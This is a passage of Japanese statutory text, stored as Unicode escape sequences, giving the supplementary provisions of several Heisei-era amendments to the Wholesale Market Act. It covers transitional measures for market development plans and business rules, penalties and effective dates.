6210\u5341\u4e8c\u5e74\u56db\u6708\u4e00\u65e5\n\n\n\n\n\uff08\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e8c\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u6539\u6b63\u524d\u306e\u5378\u58f2\u5e02\u5834\u6cd5\uff08\u4ee5\u4e0b\u300c\u65e7\u6cd5\u300d\u3068\u3044\u3046\u3002\uff09\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u57fa\u672c\u65b9\u91dd\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u5e74\u3092\u7d4c\u904e\u3059\u308b\u65e5\uff08\u305d\u306e\u65e5\u307e\u3067\u306b\u6539\u6b63\u5f8c\u306e\u5378\u58f2\u5e02\u5834\u6cd5\uff08\u4ee5\u4e0b\u300c\u65b0\u6cd5\u300d\u3068\u3044\u3046\u3002\uff09\u7b2c\u56db\u6761\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5909\u66f4\u3055\u308c\u305f\u3068\u304d\u306f\u3001\u305d\u306e\u5909\u66f4\u3055\u308c\u305f\u65e5\uff09\u307e\u3067\u306e\u9593\u306f\u3001\u65b0\u6cd5\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u57fa\u672c\u65b9\u91dd\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u696d\u52d9\u898f\u7a0b\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e09\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u52b9\u529b\u3092\u6709\u3059\u308b\u65e7\u6cd5\u7b2c\u516b\u6761\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3066\u958b\u8a2d\u3055\u308c\u3066\u3044\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\uff08\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u300c\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u958b\u8a2d\u3057\u3066\u3044\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306f\u3001\u65b0\u6cd5\u306e\u898f\u5b9a\u306b\u3088\u308a\u5fc5\u8981\u3068\u306a\u308b\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\u306b\u3064\u304d\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u5341\u6708\u3092\u7d4c\u904e\u3059\u308b\u65e5\u307e\u3067\u306b\u3001\u65b0\u6cd5\u7b2c\u5341\u4e00\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a8d\u53ef\u306e\u7533\u8acb\u3092\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\u3000\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u696d\u52d9\u898f\u7a0b\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u5e74\u3092\u7d4c\u904e\u3059\u308b\u65e5\uff08\u305d\u306e\u65e5\u307e\u3067\u306b\u524d\u9805\u306e\u7533\u8acb\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u51e6\u5206\u304c\u3042\u3063\u305f\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u3042\u3063\u3066\u306f\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u65e5\u3001\u305d\u306e\u65e5\u307e\u3067\u306b\u540c\u9805\u306e\u7533\u8acb\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\u306e\u8a8d\u53ef\u53c8\u306f\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u304c\u306a\u304b\u3063\u305f\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u3042\u3063\u3066\u306f\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u53c8\u306f\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u304c\u3042\u3063\u305f\u65e5\uff08\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u51e6\u5206\u304c\u3042\u3063\u305f\u65e5\u5f8c\u306b\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u3082\u306e\u306b\u3042\u3063\u3066\u306f\u3001\u305d\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u65e5\uff09\uff09\u307e\u3067\u306f\u3001\u65b0\u6cd5\u7b2c\u4e09\u7ae0\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u696d\u52d9\u898f\u7a0b\u3068\u307f\u306a\u3059\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u696d\u52d9\u898f\u7a0b\u3068\u540c\u7ae0\u306e\u898f\u5b9a\u304c\u62b5\u89e6\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u5f53\u8a72\u62b5\u89e6\u3059\u308b\u90e8\u5206\u306b\u3064\u3044\u3066\u306f\u3001\u540c\u7ae0\u306e\u898f\u5b9a\u306f\u3001\u9069\u7528\u3057\u306a\u3044\u3002\n\n\n\n\uff08\u4e8b\u696d\u5831\u544a\u66f8\u306e\u5199\u3057\u306e\u5099\u4ed8\u3051\u53ca\u3073\u95b2\u89a7\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u56db\u6761\n\u3000\u65b0\u6cd5\u7b2c\u4e8c\u5341\u4e5d\u6761\u306e\u898f\u5b9a\u306f\u3001\u5e73\u6210\u5341\u4e00\u5e74\u56db\u6708\u4e00\u65e5\u306b\u59cb\u307e\u308b\u4e8b\u696d\u5e74\u5ea6\uff08\u56db\u6708\u304b\u3089\u4e5d\u6708\u307e\u3067\u53ca\u3073\u5341\u6708\u304b\u3089\u7fcc\u5e74\u4e09\u6708\u307e\u3067\u3092\u4e8b\u696d\u5e74\u5ea6\u3068\u3059\u308b\u5378\u58f2\u696d\u8005\u306b\u3042\u3063\u3066\u306f\u3001\u5e73\u6210\u5341\u4e00\u5e74\u5341\u6708\u4e00\u65e5\u306b\u59cb\u307e\u308b\u4e8b\u696d\u5e74\u5ea6\uff09\u306b\u4fc2\u308b\u4e8b\u696d\u5831\u544a\u66f8\u304b\u3089\u9069\u7528\u3059\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e94\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u305d\u306e\u4ed6\u306e\u7d4c\u904e\u63aa\u7f6e\u306e\u653f\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u516d\u6761\n\u3000\u9644\u5247\u7b2c\u4e8c\u6761\u304b\u3089\u524d\u6761\u307e\u3067\u306b\u5b9a\u3081\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u95a2\u3057\u5fc5\u8981\u306a\u7d4c\u904e\u63aa\u7f6e\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\n\uff08\u691c\u8a0e\uff09\n\u7b2c\u4e03\u6761\n\u3000\u653f\u5e9c\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u5f8c\u5341\u5e74\u3092\u7d4c\u904e\u3057\u305f\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u3053\u306e\u6cd5\u5f8b\u306b\u3088\u308b\u6539\u6b63\u5f8c\u306e\u898f\u5b9a\u306e\u5b9f\u65bd\u72b6\u6cc1\u3001\u5378\u58f2\u5e02\u5834\u3092\u53d6\u308a\u5dfb\u304f\u793e\u4f1a\u7d4c\u6e08\u60c5\u52e2\u306e\u5909\u5316\u7b49\u3092\u52d8\u6848\u3057\u3001\u5378\u58f2\u5e02\u5834\u306e\u5065\u5168\u306a\u767a\u5c55\u53ca\u3073\u6d3b\u6027\u5316\u3092\u56f3\u308b\u89b3\u70b9\u304b\u3089\u3001\u5378\u58f2\u5e02\u5834\u306b\u4fc2\u308b\u5236\u5ea6\u306b\u3064\u3044\u3066\u691c\u8a0e\u3092\u52a0\u3048\u3001\u5fc5\u8981\u304c\u3042\u308b\u3068\u8a8d\u3081\u308b\u3068\u304d\u306f\u3001\u305d\u306e\u7d50\u679c\u306b\u57fa\u3065\u3044\u3066\u6240\u8981\u306e\u63aa\u7f6e\u3092\u8b1b\u305a\u308b\u3082\u306e\u3068\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u4e00\u5e74\u4e00\u4e8c\u6708\u4e8c\u4e8c\u65e5\u6cd5\u5f8b\u7b2c\u4e00\u516d\u3007\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\uff08\u7b2c\u4e8c\u6761\u53ca\u3073\u7b2c\u4e09\u6761\u3092\u9664\u304f\u3002\uff09\u306f\u3001\u5e73\u6210\u5341\u4e09\u5e74\u4e00\u6708\u516d\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u4e8c\u5e74\u4e94\u6708\u4e09\u4e00\u65e5\u6cd5\u5f8b\u7b2c\u4e5d\u4e00\u53f7\uff09\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\uff11\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u5546\u6cd5\u7b49\u306e\u4e00\u90e8\u3092\u6539\u6b63\u3059\u308b\u6cd5\u5f8b\uff08\u5e73\u6210\u5341\u4e8c\u5e74\u6cd5\u5f8b\u7b2c\u4e5d\u5341\u53f7\uff09\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\uff08\u7d4c\u904e\u63aa\u7f6e\uff09\n\uff12\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304c\u72ec\u7acb\u884c\u653f\u6cd5\u4eba\u8fb2\u6797\u6c34\u7523\u6d88\u8cbb\u6280\u8853\u30bb\u30f3\u30bf\u30fc\u6cd5\uff08\u5e73\u6210\u5341\u4e00\u5e74\u6cd5\u5f8b\u7b2c\u767e\u516b\u5341\u4e09\u53f7\uff09\u9644\u5247\u7b2c\u516b\u6761\u306e\u898f\u5b9a\u306e\u65bd\u884c\u306e\u65e5\u524d\u3067\u3042\u308b\u5834\u5408\u306b\u306f\u3001\u7b2c\u4e09\u5341\u4e00\u6761\u306e\u3046\u3061\u8fb2\u6797\u7269\u8cc7\u306e\u898f\u683c\u5316\u53ca\u3073\u54c1\u8cea\u8868\u793a\u306e\u9069\u6b63\u5316\u306b\u95a2\u3059\u308b\u6cd5\u5f8b\u7b2c\u5341\u4e5d\u6761\u306e\u4e94\u306e\u4e8c\u3001\u7b2c\u5341\u4e5d\u6761\u306e\u516d\u7b2c\u4e00\u9805\u7b2c\u56db\u53f7\u53ca\u3073\u7b2c\u4e8c\u5341\u4e03\u6761\u306e\u6539\u6b63\u898f\u5b9a\u4e2d\u300c\u7b2c\u4e8c\u5341\u4e03\u6761\u300d\u3068\u3042\u308b\u306e\u306f\u3001\u300c\u7b2c\u4e8c\u5341\u516d\u6761\u300d\u3068\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u4e09\u5e74\u4e09\u6708\u4e09\u3007\u65e5\u6cd5\u5f8b\u7b2c\u4e03\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u5e73\u6210\u5341\u4e09\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u56db\u5e74\u4e8c\u6708\u516b\u65e5\u6cd5\u5f8b\u7b2c\u4e00\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u516d\u5e74\u516d\u6708\u4e5d\u65e5\u6cd5\u5f8b\u7b2c\u4e5d\u516d\u53f7\uff09\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u516c\u5e03\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\u305f\u3060\u3057\u3001\u7b2c\u56db\u5341\u4e00\u6761\u306e\u6539\u6b63\u898f\u5b9a\u306f\u3001\u5e73\u6210\u4e8c\u5341\u4e00\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u5378\u58f2\u5e02\u5834\u6574\u5099\u57fa\u672c\u65b9\u91dd\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e8c\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u6539\u6b63\u524d\u306e\u5378\u58f2\u5e02\u5834\u6cd5\uff08\u4ee5\u4e0b\u300c\u65e7\u6cd5\u300d\u3068\u3044\u3046\u3002\uff09\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u57fa\u672c\u65b9\u91dd\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u5e74\u3092\u7d4c\u904e\u3059\u308b\u65e5\uff08\u305d\u306e\u65e5\u307e\u3067\u306b\u6539\u6b63\u5f8c\u306e\u5378\u58f2\u5e02\u5834\u6cd5\uff08\u4ee5\u4e0b\u300c\u65b0\u6cd5\u300d\u3068\u3044\u3046\u3002\uff09\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u516d\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u3001\u53c8\u306f\u5909\u66f4\u3055\u308c\u305f\u3068\u304d\u306f\u3001\u305d\u306e\u5b9a\u3081\u3089\u308c\u3001\u53c8\u306f\u5909\u66f4\u3055\u308c\u305f\u65e5\uff09\u307e\u3067\u306e\u9593\u306f\u3001\u65b0\u6cd5\u7b2c\u56db\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u57fa\u672c\u65b9\u91dd\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e09\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u65e7\u6cd5\u7b2c\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u8a08\u753b\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u5e74\u3092\u7d4c\u904e\u3059\u308b\u65e5\uff08\u305d\u306e\u65e5\u307e\u3067\u306b\u65b0\u6cd5\u7b2c\u4e94\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u3001\u53c8\u306f\u5909\u66f4\u3055\u308c\u305f\u3068\u304d\u306f\u3001\u305d\u306e\u5b9a\u3081\u3089\u308c\u3001\u53c8\u306f\u5909\u66f4\u3055\u308c\u305f\u65e5\uff09\u307e\u3067\u306e\u9593\u306f\u3001\u65b0\u6cd5\u7b2c\u4e94\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u8a08\u753b\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u90fd\u9053\u5e9c\u770c\u5378\u58f2\u5e02\u5834\u6574\u5099\u8a08\u753b\u306b\u3064\u3044\u3066\u306e\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u56db\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u65e7\u6cd5\u7b2c\u516d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u3066\u3044\u308b\u90fd\u9053\u5e9c\u770c\u306b\u304a\u3051\u308b\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u8a08\u753b\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u5e74\u516d\u6708\u3092\u7d4c\u904e\u3059\u308b\u65e5\uff08\u305d\u306e\u65e5\u307e\u3067\u306b\u65b0\u6cd5\u7b2c\u516d\u6761\u7b2c\u4e00\u9805\u53c8\u306f\u7b2c\u4e94\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u3001\u53c8\u306f\u5909\u66f4\u3055\u308c\u305f\u3068\u304d\u306f\u3001\u305d\u306e\u5b9a\u3081\u3089\u308c\u3001\u53c8\u306f\u5909\u66f4\u3055\u308c\u305f\u65e5\uff09\u307e\u3067\u306e\u9593\u306f\u3001\u65b0\u6cd5\u7b2c\u516d\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u90fd\u9053\u5e9c\u770c\u306b\u304a\u3051\u308b\u5378\u58f2\u5e02\u5834\u306e\u6574\u5099\u3092\u56f3\u308b\u305f\u3081\u306e\u8a08\u753b\u3068\u307f\u306a\u3059\u3002\n\n\n\n\uff08\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u696d\u52d9\u898f\u7a0b\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e94\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u969b\u73fe\u306b\u52b9\u529b\u3092\u6709\u3059\u308b\u65e7\u6cd5\u7b2c\u516b\u6761\u306e\u8a8d\u53ef\u3092\u53d7\u3051\u3066\u958b\u8a2d\u3055\u308c\u3066\u3044\u308b\u4e2d\u592e\u5378\u58f2\u5e02\u5834\uff08\u6b21\u9805\u306b\u304a\u3044\u3066\u300c\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u300d\u3068\u3044\u3046\u3002\uff09\u3092\u958b\u8a2d\u3057\u3066\u3044\u308b\u5730\u65b9\u516c\u5171\u56e3\u4f53\u306f\u3001\u65b0\u6cd5\u306e\u898f\u5b9a\u306b\u3088\u308a\u5fc5\u8981\u3068\u306a\u308b\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\u306b\u3064\u304d\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u5341\u6708\u3092\u7d4c\u904e\u3059\u308b\u65e5\u307e\u3067\u306b\u3001\u65b0\u6cd5\u7b2c\u5341\u4e00\u6761\u7b2c\u4e00\u9805\u306e\u898f\u5b9a\u306b\u3088\u308b\u8a8d\u53ef\u306e\u7533\u8acb\u3092\u3057\u306a\u3051\u308c\u3070\u306a\u3089\u306a\u3044\u3002\n\n\uff12\n\u3000\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306e\u696d\u52d9\u898f\u7a0b\u306f\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u8d77\u7b97\u3057\u3066\u4e00\u5e74\u3092\u7d4c\u904e\u3059\u308b\u65e5\uff08\u305d\u306e\u65e5\u307e\u3067\u306b\u524d\u9805\u306e\u7533\u8acb\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u51e6\u5206\u304c\u3042\u3063\u305f\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u3042\u3063\u3066\u306f\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u65e5\u3001\u305d\u306e\u65e5\u307e\u3067\u306b\u540c\u9805\u306e\u7533\u8acb\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u5909\u66f4\u306e\u8a8d\u53ef\u53c8\u306f\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u304c\u306a\u304b\u3063\u305f\u65e2\u8a2d\u4e2d\u592e\u5378\u58f2\u5e02\u5834\u306b\u3042\u3063\u3066\u306f\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u53c8\u306f\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u62d2\u5426\u306e\u51e6\u5206\u304c\u3042\u3063\u305f\u65e5\uff08\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u306e\u51e6\u5206\u304c\u3042\u3063\u305f\u65e5\u5f8c\u306b\u5f53\u8a72\u5909\u66f4\u306e\u8a8d\u53ef\u306b\u4fc2\u308b\u696d\u52d9\u898f\u7a0b\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u3082\u306e\u306b\u3042\u3063\u3066\u306f\u3001\u305d\u306e\u52b9\u529b\u304c\u767a\u751f\u3059\u308b\u65e5\uff09\uff09\u307e\u3067\u306f\u3001\u65b0\u6cd5\u7b2c\u4e09\u7ae0\u306e\u898f\u5b9a\u306b\u3088\u308a\u5b9a\u3081\u3089\u308c\u305f\u696d\u52d9\u898f\u7a0b\u3068\u307f\u306a\u3059\u3002\u3053\u306e\u5834\u5408\u306b\u304a\u3044\u3066\u3001\u5f53\u8a72\u696d\u52d9\u898f\u7a0b\u3068\u540c\u7ae0\u306e\u898f\u5b9a\u304c\u62b5\u89e6\u3059\u308b\u5834\u5408\u306b\u304a\u3044\u3066\u306f\u3001\u5f53\u8a72\u62b5\u89e6\u3059\u308b\u90e8\u5206\u306b\u3064\u3044\u3066\u306f\u3001\u540c\u7ae0\u306e\u898f\u5b9a\u306f\u3001\u9069\u7528\u3057\u306a\u3044\u3002\n\n\n\n\uff08\u7f70\u5247\u306e\u9069\u7528\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u516d\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u653f\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u4e03\u6761\n\u3000\u3053\u306e\u9644\u5247\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u95a2\u3057\u3066\u5fc5\u8981\u306a\u7d4c\u904e\u63aa\u7f6e\u306f\u3001\u653f\u4ee4\u3067\u5b9a\u3081\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u4e03\u5e74\u4e03\u6708\u4e8c\u516d\u65e5\u6cd5\u5f8b\u7b2c\u516b\u4e03\u53f7\uff09\u3000\u6284\n\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u4f1a\u793e\u6cd5\u306e\u65bd\u884c\u306e\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\u3000\u3000\u3000\u9644\u3000\u5247\u3000\uff08\u5e73\u6210\u4e00\u516b\u5e74\u4e09\u6708\u4e09\u4e00\u65e5\u6cd5\u5f8b\u7b2c\u4e00\u3007\u53f7\uff09\u3000\u6284\n\n\uff08\u65bd\u884c\u671f\u65e5\uff09\n\u7b2c\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\u306f\u3001\u5e73\u6210\u5341\u516b\u5e74\u56db\u6708\u4e00\u65e5\u304b\u3089\u65bd\u884c\u3059\u308b\u3002\n\n\n\n\uff08\u7f70\u5247\u306b\u95a2\u3059\u308b\u7d4c\u904e\u63aa\u7f6e\uff09\n\u7b2c\u4e8c\u767e\u5341\u4e00\u6761\n\u3000\u3053\u306e\u6cd5\u5f8b\uff08\u9644\u5247\u7b2c\u4e00\u6761\u5404\u53f7\u306b\u63b2\u3052\u308b\u898f\u5b9a\u306b\u3042\u3063\u3066\u306f\u3001\u5f53\u8a72\u898f\u5b9a\u3002\u4ee5\u4e0b\u3053\u306e\u6761\u306b\u304a\u3044\u3066\u540c\u3058\u3002\uff09\u306e\u65bd\u884c\u524d\u306b\u3057\u305f\u884c\u70ba\u53ca\u3073\u3053\u306e\u9644\u5247\u306e\u898f\u5b9a\u306b\u3088\u308a\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3053\u3068\u3068\u3055\u308c\u308b\u5834\u5408\u306b\u304a\u3051\u308b\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u5f8c\u306b\u3057\u305f\u884c\u70ba\u306b\u5bfe\u3059\u308b\u7f70\u5247\u306e\u9069\u7528\u306b\u3064\u3044\u3066\u306f\u3001\u306a\u304a\u5f93\u524d\u306e\u4f8b\u306b\u3088\u308b\u3002\n\n\n\n\uff08\u305d\u306e\u4ed6\u306e\u7d4c\u904e\u63aa\u7f6e\u306e\u653f\u4ee4\u3078\u306e\u59d4\u4efb\uff09\n\u7b2c\u4e8c\u767e\u5341\u4e8c\u6761\n\u3000\u3053\u306e\u9644\u5247\u306b\u898f\u5b9a\u3059\u308b\u3082\u306e\u306e\u307b\u304b\u3001\u3053\u306e\u6cd5\u5f8b\u306e\u65bd\u884c\u306b\u95a2\u3057\u5fc5\u8981\u306a\u7d4c\u904e\u63aa\u7f6e\u306f\